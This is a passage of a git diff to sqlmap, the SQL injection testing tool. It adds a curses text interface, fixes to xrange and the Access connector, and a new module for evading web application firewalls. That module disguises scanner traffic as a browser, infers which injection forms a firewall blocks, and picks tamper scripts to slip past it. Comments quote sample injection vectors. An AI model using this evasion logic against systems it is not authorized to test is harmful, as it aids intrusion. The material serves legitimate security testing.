curses.COLOR_WHITE, curses.COLOR_BLUE) + curses.init_pair(4, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(5, curses.COLOR_GREEN, default_bg) + curses.init_pair(6, curses.COLOR_RED, default_bg) + curses.init_pair(7, curses.COLOR_WHITE, default_bg) + curses.init_pair(8, curses.COLOR_GREEN, default_bg) + curses.init_pair(9, curses.COLOR_BLACK, curses.COLOR_CYAN) + + def _parse_options(self): + """Parse command line options into tabs and fields""" + self.all_options = [] + for group in _parserGroups(self.parser): + title = _groupTitle(group) + tab_data = { + 'title': title, + 'description': _groupDescription(group), + 'options': [] + } + + for option in _groupOptions(group): + dest = _optDest(option) + if not dest: + continue + field_data = { + 'dest': dest, + 'label': self._format_option_strings(option), + 'help': _optHelp(option), + 'type': _optValueType(option) if _optTakesValue(option) else 'bool', + 'value': '', + 'default': defaults.get(dest) if defaults.get(dest) else None + } + tab_data['options'].append(field_data) + self.fields[(title, dest)] = field_data + self.all_options.append(field_data) + + self.tabs.append(tab_data) + + # curated "Quick start" tab; references the same field objects as the group tabs, + # so a value edited in either place stays in sync + seen = {} + for tab in self.tabs: + for option in tab['options']: + seen.setdefault(option['dest'], option) + quick = { + 'title': 'Quick start', + 'description': "The options people reach for most. Fill these in, then press F2 to run.", + 'options': [seen[dest] for dest in QUICK_START_DESTS if dest in seen], + } + if quick['options']: + self.tabs.insert(0, quick) + + def _format_option_strings(self, option): + """Format option strings for display""" + return ', '.join(_optStrings(option)) + + def _tab_title(self, tab): + return TAB_ALIASES.get(tab['title'], tab['title']) + + def _draw_header(self): + """Draw the header bar""" + height, width = self.stdscr.getmaxyx() + self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, " " * width) + self.stdscr.addstr(0, 1, "sqlmap") + self.stdscr.attroff(curses.A_BOLD) + right = "F2 Run - F10 Quit " + try: + self.stdscr.addstr(0, max(8, width - len(right)), right) + except: + pass + self.stdscr.attroff(curses.color_pair(1)) + + def _get_tab_bar_height(self): + """Calculate how many rows the tab bar uses""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % self._tab_title(tab) + if x + len(tab_text) >= width: + y += 1 + x = 0 + if y >= 4: + break + x += len(tab_text) + 1 + + return y + + def _draw_tabs(self): + """Draw the tab bar""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % self._tab_title(tab) + if x + len(tab_text) >= width: + y += 1 + x = 0 + if y >= 4: + break + + if i == self.current_tab: + self.stdscr.attron(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attron(curses.color_pair(3)) + + try: + self.stdscr.addstr(y, x, tab_text) + except: + pass + + if i == self.current_tab: + self.stdscr.attroff(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attroff(curses.color_pair(3)) + + x += len(tab_text) + 1 + + def _build_command(self): + """Assemble the equivalent sqlmap command line from the current field values""" + parts = ["sqlmap.py"] + for opt in self.all_options: + flag = opt['label'].split(',')[0].strip() if opt['label'] else "" + if not flag: + continue + value = opt['value'] + if opt['type'] == 'bool': + if value: + parts.append(flag) + elif value not in (None, "") and str(value) != str(opt.get('default') or ""): + text = str(value) + if ' ' in text or '"' in text: + text = '"%s"' % text.replace('"', '\\"') + parts.append("%s %s" % (flag, text)) + return " ".join(parts) + + def _draw_command(self): + """Live preview of the command being built, just above the footer""" + height, width = self.stdscr.getmaxyx() + cmd = "$ " + self._build_command() + if len(cmd) > width - 2: + cmd = cmd[:width - 5] + "..." + try: + self.stdscr.attron(curses.color_pair(8) | curses.A_BOLD) + self.stdscr.addstr(height - 2, 1, cmd.ljust(width - 2)[:width - 2]) + self.stdscr.attroff(curses.color_pair(8) | curses.A_BOLD) + except curses.error: + pass + + def _draw_footer(self): + """Draw the footer with help text""" + height, width = self.stdscr.getmaxyx() + footer = " Tab/<-/-> Section Up/Down Field Enter/Space Edit F2 Run F3 Export F4 Import F10 Quit " + + try: + self.stdscr.attron(curses.color_pair(1)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)[:width - 1]) + self.stdscr.attroff(curses.color_pair(1)) + except: + pass + + def _draw_current_tab(self): + """Draw the current tab content""" + height, width = self.stdscr.getmaxyx() + tab = self.tabs[self.current_tab] + + # Calculate tab bar height + tab_bar_height = self._get_tab_bar_height() + start_y = tab_bar_height + 1 + + # Clear content area + for y in range(start_y, height - 1): + try: + self.stdscr.addstr(y, 0, " " * width) + except: + pass + + y = start_y + + # Draw description if exists + if tab['description']: + desc_lines = self._wrap_text(tab['description'], width - 4) + for line in desc_lines[:2]: # Limit to 2 lines + try: + self.stdscr.attron(curses.color_pair(5)) + self.stdscr.addstr(y, 2, line) + self.stdscr.attroff(curses.color_pair(5)) + y += 1 + except: + pass + y += 1 + + # Draw options (leave height-2 for the command preview, height-1 for the footer) + visible_start = self.scroll_offset + visible_end = visible_start + (height - y - 3) + + for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): + if y >= height - 3: + break + + is_selected = (i == self.current_field) + + # full-width highlight bar for the selected row + if is_selected: + try: + self.stdscr.attron(curses.color_pair(4)) + self.stdscr.addstr(y, 0, " " * (width - 1)) + self.stdscr.attroff(curses.color_pair(4)) + except: + pass + + # label + label = option['label'][:25].ljust(25) + label_attr = curses.color_pair(4) | curses.A_BOLD if is_selected else curses.color_pair(7) + try: + self.stdscr.attron(label_attr) + self.stdscr.addstr(y, 2, label) + self.stdscr.attroff(label_attr) + except: + pass + + # value (green once the user has set one, muted "(default)" otherwise) + has_value = option['value'] not in (None, "", False) + if option['type'] == 'bool': + value = option['value'] if option['value'] is not None else option.get('default') + value_str = "[x]" if value else "[ ]" + value_attr = curses.color_pair(8) if value else curses.color_pair(5) + elif has_value: + value_str = str(option['value']) + value_attr = curses.color_pair(8) + elif option['default'] not in (None, False): + value_str = "(%s)" % str(option['default']) + value_attr = curses.color_pair(5) + else: + value_str = "" + value_attr = curses.color_pair(5) + + if is_selected: + value_attr = curses.color_pair(4) | curses.A_BOLD + try: + self.stdscr.attron(value_attr) + self.stdscr.addstr(y, 28, value_str[:30]) + self.stdscr.attroff(value_attr) + except: + pass + + # help text (always shown, including on the highlighted row so it stays readable) + if width > 65: + help_text = option['help'][:width - 62] if option['help'] else "" + help_attr = curses.color_pair(9) if is_selected else curses.color_pair(5) + try: + self.stdscr.attron(help_attr) + self.stdscr.addstr(y, 60, help_text.ljust(width - 61)[:width - 61]) + self.stdscr.attroff(help_attr) + except: + pass + + y += 1 + + # Draw scroll indicator + if len(tab['options']) > visible_end - visible_start: + try: + self.stdscr.attron(curses.color_pair(6)) + self.stdscr.addstr(height - 3, width - 10, "[More...]") + self.stdscr.attroff(curses.color_pair(6)) + except: + pass + + def _wrap_text(self, text, width): + """Wrap text to fit within width""" + words = text.split() + lines = [] + current_line = "" + + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += word + " " + else: + if current_line: + lines.append(current_line.strip()) + current_line = word + " " + + if current_line: + lines.append(current_line.strip()) + + return lines + + def _edit_field(self): + """Edit the current field""" + tab = self.tabs[self.current_tab] + if self.current_field >= len(tab['options']): + return + + option = tab['options'][self.current_field] + + if option['type'] == 'bool': + # Toggle boolean + option['value'] = not option['value'] + else: + # Text input (manual key loop so Esc can cancel and Enter can save) + height, width = self.stdscr.getmaxyx() + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.keypad(True) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) + input_win.attroff(curses.color_pair(2)) + input_win.attron(curses.color_pair(5)) + input_win.addstr(3, 2, "[Enter] save [Esc] cancel") + input_win.attroff(curses.color_pair(5)) + + buffer = str(option['value']) if option['value'] not in (None, "") else "" + max_len = max(1, width - 34) + curses.noecho() + curses.curs_set(1) + + while True: + shown = buffer[-max_len:] + input_win.addstr(2, 2, "Value: ") + input_win.addstr(2, 9, shown.ljust(max_len)[:max_len]) + input_win.move(2, 9 + len(shown)) + input_win.refresh() + + ch = input_win.getch() + if ch == 27: # Esc -> cancel, keep old value + buffer = None + break + elif ch in (curses.KEY_ENTER, 10, 13): # Enter -> commit + break + elif ch in (curses.KEY_BACKSPACE, 127, 8): + buffer = buffer[:-1] + elif 32 <= ch <= 126: + buffer += chr(ch) + + curses.curs_set(0) + + if buffer is not None: + if option['type'] == 'int': + try: + option['value'] = int(buffer) if buffer else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(buffer) if buffer else None + except ValueError: + option['value'] = None + else: + option['value'] = buffer if buffer else None + + input_win.clear() + input_win.refresh() + del input_win + + def _export_config(self): + """Export current configuration to a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Export Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename: + # Collect all field values + config = {} + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) + + # Save config + try: + saveConfig(config, filename) + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Export Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Configuration exported to:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Export Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _import_config(self): + """Import configuration from a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Import Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename and os.path.isfile(filename): + try: + # Read config file + config = _configparser.ConfigParser() + config.read(filename) + + imported_count = 0 + + # Load values into fields + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + + # Search for option in all sections + for section in config.sections(): + if config.has_option(section, dest): + value = config.get(section, dest) + + # Convert based on type + if option['type'] == 'bool': + option['value'] = value.lower() in ('true', '1', 'yes', 'on') + elif option['type'] == 'int': + try: + option['value'] = int(value) if value else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(value) if value else None + except ValueError: + option['value'] = None + else: + option['value'] = value if value else None + + imported_count += 1 + break + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Import Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Imported %d options from:" % imported_count) + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Import Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + elif filename: + # File not found + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " File Not Found ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, "File does not exist:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _run_sqlmap(self): + """Run sqlmap with current configuration""" + config = {} + + # Collect all field values + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) + + # Create temp config file + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + # Show console + self._show_console(configFile) + + def _show_console(self, configFile): + """Show console output from sqlmap""" + height, width = self.stdscr.getmaxyx() + + # Create console window + console_win = curses.newwin(height - 4, width - 4, 2, 2) + console_win.box() + console_win.attron(curses.color_pair(2)) + console_win.addstr(0, 2, " sqlmap Console - Press Q to close ") + console_win.attroff(curses.color_pair(2)) + console_win.refresh() + + # Create output area + output_win = console_win.derwin(height - 8, width - 8, 2, 2) + output_win.scrollok(True) + output_win.idlok(True) + + # Start sqlmap process + try: + process = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=1, + close_fds=not IS_WIN + ) + + if not IS_WIN: + # Make it non-blocking + import fcntl + flags = fcntl.fcntl(process.stdout, fcntl.F_GETFL) + fcntl.fcntl(process.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK) + + output_win.nodelay(True) + console_win.nodelay(True) + + lines = [] + current_line = "" + + while True: + # Check for user input + try: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + # Kill process + process.terminate() + break + elif key == curses.KEY_ENTER or key == 10: + # Send newline to process + if process.poll() is None: + try: + process.stdin.write(b'\n') + process.stdin.flush() + except: + pass + except: + pass + + # Read output + try: + chunk = process.stdout.read(1024) + if chunk: + current_line += chunk.decode('utf-8', errors='ignore') + + # Split into lines + while '\n' in current_line: + line, current_line = current_line.split('\n', 1) + lines.append(line) + + # Keep only last N lines + if len(lines) > 1000: + lines = lines[-1000:] + + # Display lines + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + output_win.refresh() + console_win.refresh() + except: + pass + + # Check if process ended + if process.poll() is not None: + # Read remaining output + try: + remaining = process.stdout.read() + if remaining: + current_line += remaining.decode('utf-8', errors='ignore') + for line in current_line.split('\n'): + if line: + lines.append(line) + except: + pass + + # Display final output + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + + output_win.addstr(height - 9, 0, "--- Process finished. Press Q to close ---") + output_win.refresh() + console_win.refresh() + + # Wait for Q + console_win.nodelay(False) + while True: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + break + + break + + # Small delay + curses.napms(50) + + except Exception as ex: + output_win.addstr(0, 0, "Error: %s" % getSafeExString(ex)) + output_win.refresh() + console_win.nodelay(False) + console_win.getch() + + finally: + # Clean up + try: + os.unlink(configFile) + except: + pass + + console_win.nodelay(False) + output_win.nodelay(False) + del output_win + del console_win + + def run(self): + """Main UI loop""" + while True: + self.stdscr.clear() + + # Draw UI + self._draw_header() + self._draw_tabs() + self._draw_current_tab() + self._draw_command() + self._draw_footer() + + self.stdscr.refresh() + + # Get input + key = self.stdscr.getch() + + tab = self.tabs[self.current_tab] + + # Handle input + if key == curses.KEY_F10: # F10 quits; Esc intentionally does NOT (it only cancels field edits) + break + elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow + self.current_tab = (self.current_tab + 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_LEFT: # Left arrow + self.current_tab = (self.current_tab - 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_UP: # Up arrow + if self.current_field > 0: + self.current_field -= 1 + # Adjust scroll if needed + if self.current_field < self.scroll_offset: + self.scroll_offset = self.current_field + elif key == curses.KEY_DOWN: # Down arrow + if self.current_field < len(tab['options']) - 1: + self.current_field += 1 + # Adjust scroll if needed + height, width = self.stdscr.getmaxyx() + visible_lines = height - 8 + if self.current_field >= self.scroll_offset + visible_lines: + self.scroll_offset = self.current_field - visible_lines + 1 + elif key == curses.KEY_ENTER or key == 10 or key == 13: # Enter + self._edit_field() + elif key == curses.KEY_F2: # F2 to run + self._run_sqlmap() + elif key == curses.KEY_F3: # F3 to export + self._export_config() + elif key == curses.KEY_F4: # F4 to import + self._import_config() + elif key == ord(' '): # Space for boolean toggle + option = tab['options'][self.current_field] + if option['type'] == 'bool': + option['value'] = not option['value'] + +def runTui(parser): + """Main entry point for ncurses TUI""" + # Check if ncurses is available + if curses is None: + raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + # ncurses waits ESCDELAY ms (default 1000) after Esc to disambiguate escape sequences, which + # makes Esc feel like it hangs for ~1s; shrink it so Esc reacts immediately + os.environ.setdefault("ESCDELAY", "25") + try: + # Initialize and run + def main(stdscr): + if hasattr(curses, "set_escdelay"): + try: + curses.set_escdelay(25) + except curses.error: + pass + ui = NcursesUI(stdscr, parser) + ui.run() + + curses.wrapper(main) + + except Exception as ex: + errMsg = "unable to create ncurses UI ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 7dd85e1b389..d54a313aca3 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,8 +10,8 @@ PYVERSION = sys.version.split()[0] -if PYVERSION < "2.6": - sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6, 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) +if PYVERSION < "2.7": + sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) errors = [] extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py new file mode 100644 index 00000000000..a16f99afb1a --- /dev/null +++ b/lib/utils/wafbypass.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import os +import struct +import sys + +from lib.core.common import fetchRandomAgent +from lib.core.data import conf +from lib.core.data import paths +from lib.core.enums import HTTP_HEADER +from lib.core.enums import PLACE +from lib.core.settings import WAF_BYPASS_HTTP_HEADERS +from lib.core.settings import WAF_BYPASS_TAMPERS + + +def neutralizeFingerprint(): + """ + Makes the request look like a real browser (random non-scanner User-Agent from the canonical + 'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language), + used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT] + (queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent + and the HTTP header list are updated too. Returns the previous state so the change can be reverted. + """ + + saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT)) + + userAgent = fetchRandomAgent() + + conf.agent = userAgent + if PLACE.USER_AGENT in conf.parameters: + conf.parameters[PLACE.USER_AGENT] = userAgent + + overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS)) + upper = dict((_.upper(), _) for _ in overrides) + headers, seen = [], set() + for header, hvalue in conf.httpHeaders: + if header.upper() in upper: + headers.append((header, overrides[upper[header.upper()]])) + seen.add(header.upper()) + else: + headers.append((header, hvalue)) + for header, hvalue in overrides.items(): + if header.upper() not in seen: + headers.append((header, hvalue)) + conf.httpHeaders = headers + + return saved + +# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation +# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py: +# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore +# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking +# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions +# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance). +_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13) # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*" + +_DATA = None + + +def _data(): + global _DATA + if _DATA is None: + path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json") + with open(path, "rb") as f: + _DATA = json.loads(f.read().decode("utf-8")) + return _DATA + + +def identYwafBlockedVectors(wafName): + """ + Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded + from its bundled blind signatures (majority vote across signature variants). Empty set if the + WAF/signatures are unknown. + + >>> isinstance(identYwafBlockedVectors("cloudflare"), set) + True + """ + + retVal = set() + + wafs = _data().get("wafs", {}) + info = wafs.get(wafName) or wafs.get((wafName or "").lower()) + if not info: + return retVal + + expected = len(_data().get("payloads", [])) + counts, total = {}, 0 + for signature in info.get("signatures", []): + try: + raw = base64.b64decode(signature.split(':', 1)[-1]) + except Exception: + continue + words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else () + if len(words) != expected: # only consider signatures over the current vector set + continue + total += 1 + for index, word in enumerate(words): + if word & 1: + counts[index] = counts.get(index, 0) + 1 + + if total: + retVal = set(index for index, c in counts.items() if c * 2 >= total) # blocked in a majority of variants + + return retVal + + +def candidateTampers(identifiedWafs=None): + """ + Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the + empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the + identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on + tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by + re-running detection through each candidate, so no DBMS pre-filtering is needed here. + + >>> "between" in candidateTampers() + True + >>> "equaltolike" in candidateTampers() + True + """ + + retVal = list(WAF_BYPASS_TAMPERS) + + blocked = set() + for waf in (identifiedWafs or []): + blocked |= identYwafBlockedVectors(waf) + + if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS): + retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"] + + return retVal + + +def loadTamper(name): + """ + Imports a tamper script by name from the tamper directory and returns its 'tamper' function + (or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use. + """ + + dirname = paths.SQLMAP_TAMPER_PATH + if dirname not in sys.path: + sys.path.insert(0, dirname) + + module = __import__(str(name)) + function = getattr(module, "tamper", None) + if function is not None: + function.__name__ = name + + return function diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index d4065f00dab..19aa9713b28 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -26,6 +26,8 @@ class xrange(object): True >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2)) True + >>> list(xrange(8, 0, -2)) == list(range(8, 0, -2)) + True >>> foobar = xrange(1, 10) >>> 7 in foobar True @@ -33,6 +35,12 @@ class xrange(object): False >>> foobar[0] 1 + >>> 6 in xrange(8, 0, -2) + True + >>> 0 in xrange(8, 0, -2) + False + >>> xrange(0, 10, 2).index(4) + 2 """ __slots__ = ['_slice'] @@ -71,10 +79,17 @@ def __len__(self): return self._len() def _len(self): - return max(0, 1 + int((self.stop - 1 - self.start) // self.step)) + if self.step > 0: + lo, hi, step = self.start, self.stop, self.step + else: # Note: normalizing for descending ranges (negative step) + lo, hi, step = self.stop, self.start, -self.step + return max(0, (hi - lo + step - 1) // step) def __contains__(self, value): - return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 + if self.step > 0: + return self.start <= value < self.stop and (value - self.start) % self.step == 0 + else: + return self.stop < value <= self.start and (value - self.start) % self.step == 0 def __getitem__(self, index): if isinstance(index, slice): @@ -98,7 +113,7 @@ def _index(self, i): return self.start + self.step * i def index(self, i): - if self.start <= i < self.stop: - return i - self.start + if i in self: + return (i - self.start) // self.step # Note: also accounts for step != 1 (and descending ranges) else: raise ValueError("%d is not in list" % i) diff --git a/plugins/__init__.py b/plugins/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 37ec1e2b80f..fbb3a131c46 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 492bc5d7e57..c1313bbf33d 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -38,7 +38,9 @@ def connect(self): self.checkFileDb() try: - self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) + # ACE driver ('*.mdb, *.accdb') handles both legacy Jet .mdb and modern .accdb (the old '*.mdb'-only + # Jet driver is 32-bit-only and absent on modern installs); honor supplied credentials, not Admin/empty + self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=%s;Uid=%s;Pwd=%s;' % (self.db, self.user or "Admin", self.password or "")) except (pyodbc.Error, pyodbc.OperationalError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 9d6484aa98e..806049186a0 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index b272956f949..bb8c17d1ec8 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index c6226bfdfeb..e542e889ece 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -162,7 +162,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) - result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = inject.checkBooleanExpression("IIF(ATN(2) IS NOT NULL,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 542f215d440..9935739d90c 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright 